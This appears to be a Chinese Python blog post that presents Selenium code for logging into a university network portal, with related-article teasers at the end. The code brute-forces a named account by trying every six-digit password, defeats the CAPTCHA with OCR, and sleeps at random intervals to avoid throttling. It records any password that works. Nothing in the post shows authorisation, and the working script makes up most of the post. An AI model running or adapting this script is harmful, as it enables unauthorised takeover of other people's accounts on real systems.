python selenium循环登陆网站的实现

yipeiwu_com6年前Python基础

selenium 登陆网站

记录一次登陆无线网的过程

1.首先看一下要登陆的界面

在这里插入图片描述

按一下F12看一下网页的源代码

在这里插入图片描述

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

在这里插入图片描述

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

在这里插入图片描述

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持【听图阁-专注于Python设计】。

相关文章

用django-allauth实现第三方登录的示例代码

用django-allauth实现第三方登录的示例代码

现在我们已经拥有一个可以进行用户本地登录的博客系统了。如果有人欣赏你的文章,说不定就会注册成为本地用户,并和你好好交流一番。 但头疼的是,用户可能每天都在互联网上浏览很多非常棒的博客,如...

python看某个模块的版本方法

例如networkx模块 启动python命令行,输入以下两行命令 import networkx networkx.__version__ 以上这篇python看某个模块的版本方...

vscode 远程调试python的方法

vscode 远程调试python的方法

本文介绍了vscode 远程调试python的方法,分享给大家,具有如下: 实验环境 远程服务器:京东云,1核2G,centos7.3 64bit 本地环境配置 安装vscode...

python实现简单图书管理系统

python实现简单图书管理系统

用python实现一个简单的图书管理系统 ,供大家参考,具体内容如下 1、工具:PyCharm3.6 社区版 我创建了一个工程叫fairy,把解释器换成Pytnon3.6 创建一个p...

人工智能最火编程语言 Python大战Java!

人工智能最火编程语言 Python大战Java!

开发者到底应该学习哪种编程语言才能获得机器学习或数据科学这类工作呢?这是一个非常重要的问题。我们在许多论坛上都有讨论过。现在,我可以提供我自己的答案并解释原因,但我们先看一些数据。毕竟,...